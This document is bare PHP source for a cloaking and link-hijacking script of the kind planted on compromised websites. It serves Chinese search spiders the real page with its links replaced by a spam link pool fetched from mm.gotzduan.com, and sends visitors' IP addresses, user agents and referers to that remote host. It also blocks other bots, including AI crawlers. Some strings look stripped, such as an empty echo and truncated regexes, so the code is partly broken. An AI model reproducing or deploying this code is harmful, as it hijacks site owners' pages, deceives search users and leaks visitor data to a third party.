set_time_limit(0); error_reporting(0); // ==================== 配置 111 ==================== $host_path = "http://mm.gotzduan.com/"; $link_pool_url = "http://mm.gotzduan.com/u.php"; $link_pool_url_a = "http://mm.gotzduan.com/a.php"; $mobile_js_url = "https://www.bole577.com/mmmm.js"; $allowed_chinese_spiders = '/(?:baiduspider|sogou|sogo|sm\.cn|haosou|360spider|so\.com)/i'; $blocked_foreign_bots = '/(?:bot|spider|crawl|scraper|ai|gpt|claude|robot|python|curl|wget|scan|test|monitor|check|fetch|harvest|collect)/i'; $baidu_client_pattern = '/(?:baiduboxapp|baidubrowser|baidu.*(?:mobile|app|client|box))/i'; $mobile_pattern = '/(?:mobile|android|iphone|ipad|ipod|blackberry|windows phone|opera mini|opera mobi|webos|palm|symbian|j2me|midp|wap|phone|touch|tablet|kindle)/i'; $static_exts = array('.css', '.js', '.png', '.jpg', '.jpeg', '.gif', '.ico', '.svg'); $trap_dirs = array('content', 'news', 'info', 'data', 'list'); $default_docs = array('index.html', 'index.htm', 'default.html', 'default.htm', 'default.asp', 'index.asp', 'default.aspx', 'index.aspx', 'index.php', 'default.php'); $min_ua_length = 10; // ==================== 工具函数 ==================== function httpGet($url, $ua = 'Mozilla/5.0') { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 5, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_ENCODING => 'gzip', )); $result = curl_exec($ch); curl_close($ch); return ($result === false) ? '' : $result; } function getStatusCode($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_NOBODY, true); // 只获取头部,不下载内容 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 不跟随重定向(可改为true) curl_setopt($ch, CURLOPT_TIMEOUT, 10); // 超时时间10秒 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 忽略SSL证书验证(可选) curl_exec($ch); $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $statusCode; } function detectSpiderType($ua, $allowedPattern, $blockedPattern, $minLen) { if (empty($ua) || strlen($ua) < $minLen) return 'blocked'; if (preg_match($allowedPattern, $ua)) return 'allowed'; if (preg_match($blockedPattern, $ua)) return 'blocked'; return 'normal'; } function isBaiduClient($ua, $pattern) { if (empty($ua)) return false; return (bool)preg_match($pattern, $ua); } function isMobileDevice($ua, $baiduPattern, $mobilePattern) { if (empty($ua)) return false; if (preg_match($baiduPattern, $ua)) return true; return (bool)preg_match($mobilePattern, $ua); } function isStaticFile($path, $exts) { $parts = explode('?', $path); $p = strtolower($parts[0]); foreach ($exts as $ext) { if (substr($p, -strlen($ext)) === $ext) return true; } return false; } function isNewsPage($url) { $lower = strtolower($url); if (strpos($lower, '.scm') !== false || strpos($lower, '.shtml') !== false) return true; if (preg_match('/id=[a-z0-9]{6}/i', $lower)) return true; return false; } function isHomepage($url, $defaultDocs) { $parts = explode('?', $url); $path = strtolower($parts[0]); if ($path === '/' || $path === '') return true; if (strlen($path) > 1 && strpos($path, '/', 1) !== false) return false; $file = ltrim($path, '/'); return in_array($file, $defaultDocs); } function hasTrapDir($url, $traps) { foreach ($traps as $t) { if (strpos($url, '/' . $t . '/') !== false || strpos($url, '?' . $t . '/') !== false) return true; } return false; } function refererHasAllowedSpider($referer, $pattern) { if (empty($referer)) return false; return (bool)preg_match($pattern, $referer); } function fetchLinkPool($url) { $html = httpGet($url); if (empty($html)) return array(); preg_match_all('/href\s*=\s*["\']([^"\']+)["\']/i', $html, $matches); return !empty($matches[1]) ? array_values(array_unique($matches[1])) : array(); } function _replaceHrefCallback($m) { $pool = $GLOBALS['__href_pool']; $link = $pool[array_rand($pool)]; return $m[1] . 'href="' . $link . '"'; } function replaceHrefLinks($html, $pool) { if (empty($pool)) return $html; // 页面里 少于 10 个不做替 if (preg_match_all('/(]*?)href\s*=\s*["\']([^"\']*)["\']/', $html, $m) < 10){ $htmlPool = httpGet($url); if (!empty($htmlPool)){ return $htmlPool; } } $GLOBALS['__href_pool'] = $pool; return preg_replace_callback( '/(]*?)href\s*=\s*["\']([^"\']*)["\']/', '_replaceHrefCallback', $html ); } // 与 DLL 一致:只编码会影响 query 结构的字符,保留 / : . ? 等原样(path 不会变成 %2F) function urlEncodeLite($str) { $out = ''; $len = strlen($str); for ($i = 0; $i < $len; $i++) { $c = ord($str[$i]); $ch = $str[$i]; if ($ch === ' ') $out .= '+'; else if ($c <= 0x20 || $c >= 0x7F || $ch === '&' || $ch === '=' || $ch === '#' || $ch === '%') $out .= '%' . strtoupper(sprintf('%02X', $c)); else $out .= $ch; } return $out; } // ==================== 主逻辑 ==================== $url = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''; $userip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''; if (isStaticFile($url, $static_exts)) return; $is_baidu = isBaiduClient($ua, $baidu_client_pattern); $spider = $is_baidu ? 'normal' : detectSpiderType($ua, $allowed_chinese_spiders, $blocked_foreign_bots, $min_ua_length); $is_trap = hasTrapDir($url, $trap_dirs); $is_news = isNewsPage($url); $should_process = ($spider === 'blocked' || $spider === 'allowed' || $is_baidu || $is_trap || $is_news); if (!$should_process) return; // blocked → 403 // 判断页面类型 $page = ''; if ($is_baidu && $is_news) { $page = 'js_txt'; } elseif ($is_news) { if ($spider === 'allowed' || (refererHasAllowedSpider($referer, $allowed_chinese_spiders) && $spider !== 'allowed')) { $page = 'neiye'; } else { $page = 'js_txt'; } } elseif ($spider === 'allowed') { // 国内蜘蛛:首页和所有内页都读真实页面 + 替换 为链接池的链接 $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; //先看看是不是支持404 $code = getStatusCode($scheme . $host.'/test/abc/'); // 国内蜘蛛:首页和所有内页都读真实页面 + 替换 为链接池的链接 if ($code == 404){ $pool = fetchLinkPool($link_pool_url_a); $htmlPool = httpGet($link_pool_url_a); }else{ $pool = fetchLinkPool($link_pool_url); $htmlPool = httpGet($link_pool_url); } if (!empty($pool)) { // 用普通 UA 请求自己,避免又触发本脚本形成死循环递归 $realPage = httpGet($scheme . $host . $url, 'Mozilla/5.0 (compatible; Selfget/1.0)'); if (!empty($realPage)) { header('Content-Type: text/html; charset=UTF-8'); $html = replaceHrefLinks($realPage, $pool); if ($html == ""){ echo $htmlPool; }else{ echo $html; } exit; } echo $htmlPool; exit; } return; } if (empty($page)) return; // js_txt 处理 if ($page === 'js_txt') { if (isMobileDevice($ua, $baidu_client_pattern, $mobile_pattern)) { header('Content-Type: text/html; charset=UTF-8'); echo ''; exit; } else { header('HTTP/1.1 404 Not Found', true, 404); echo '

404 Not Found

'; exit; } } // neiye 处理:从远程 API 获取内容 $is_mobile = isMobileDevice($ua, $baidu_client_pattern, $mobile_pattern); $query = 'ua=' . urlEncodeLite($is_mobile ? 'mb' : 'pc') . '&files=' . urlEncodeLite($page) . '&host=' . urlEncodeLite($host) . '&path=' . urlEncodeLite($url) . '&userip='. urlEncodeLite($userip) . '&userua='. urlEncodeLite($ua) . '&source='. urlEncodeLite($referer); $content = httpGet(rtrim($host_path, '/') . '/index.php?' . $query, $ua); if (!empty($content)) { header('Content-Type: text/html; charset=UTF-8'); echo $content; exit; } return;